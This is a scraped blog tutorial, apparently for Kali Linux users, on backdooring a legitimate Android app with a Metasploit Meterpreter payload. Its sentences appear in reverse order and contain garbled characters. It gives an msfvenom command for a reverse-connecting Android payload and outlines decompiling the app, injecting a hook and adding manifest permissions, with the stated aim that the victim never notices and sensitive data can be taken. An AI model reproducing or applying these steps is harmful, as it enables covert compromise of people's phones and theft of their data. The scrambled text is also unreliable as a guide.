![]() ![]() ![]() You can use any one you like, I'm going to use reverse_https as an example. The function of all these payloads are same, essentially they are all Meterpreter payloads, the difference is only in the method they use to connect to your Kali system. Replace Payload_Type by any of the following payloads available. Msfvenom -p android/meterpreter/Payload_Type LHOST=IP_Address LPORT=Incoming_Port -o meterpreter.apk Step 1: GENERATE the PAYLOAD:įirst of all, we have to make the Meterpreter payload. I will also show you how can you get a working Meterpreter session using that backdoored apk, if you don't know that already. Since this tutorial is a little bit long, I'm giving a brief overview of what we are going to do here.Ģ.Decompile the payload and the original apkģ.Copy the payload files to the original apkĤ.Inject the hook into the appropriate activity of the original apkĥ.Inject the permissions in the AndroidManifest.xml file Just do a google search "app_name apk download" and Google will come up with a lot of results. To install the required libraries, enter this command at the console:Īpt-get install lib32stdc++6 lib32ncurses5 lib32z1_Īnd to get the latest version of ApkTool, head over to this site and follow the installation instructions.Īlso download the apk which you want to be backdoor-ed from any source you like. We will also need some libraries and tools in the following steps, so I think it's better if you install them right now. If you are serious about Hacking or Penetration Testing, if you prefer, you should use Kali as it was built specifically for Pen-Testing. I'm sure it can be done in other OS, especially Linux Distros, but that will involve some more complications so I'm not going to cover those. This tutorial is based on the Kali Linux Operating System. And also, In the following Android Hacking tutorials, I may refer to this tutorial, so If you can take it, I suggest you to keep on reading. But if you want to know the inner workings and have a greater knowledge, continue reading this post. If you are not willing to go down the hard path, you can use that method to do it just fine. ![]() NOTE – This is a follow-up post of my previous post, in which I showed you how to do this using a very simple yet effective Ruby script. That's what we are going to do in this tutorial. The app will look and behave exactly as the original one, so the victim won't even know that his system is compromised. One of the solutions is that you can embed the payload inside another legitimate app. So how are we going to make the victim run the payload app in their phone? No one in their right mind is going to install and run such an app, which apparently does nothing when it is opened. But if you have tried out these payloads you would know that they do not look convincing. Great! Now we can use Metasploit to compromise Android phones also. The Meterpreter payload also comes as an installable. For example, we could grab sensitive data out of the compromised system. Once installed on the victim machine, we can do whatever we want to their system by sending out commands to it. Metasploit's flagship product, the Meterpreter, is very powerful and an all-purpose payload. Hi guys, I'm here again with my second tutorial, as I promised. UPDATE: This post is outdated, the latest version with the correct links and updated instructions can be found at my blog, here. ![]()
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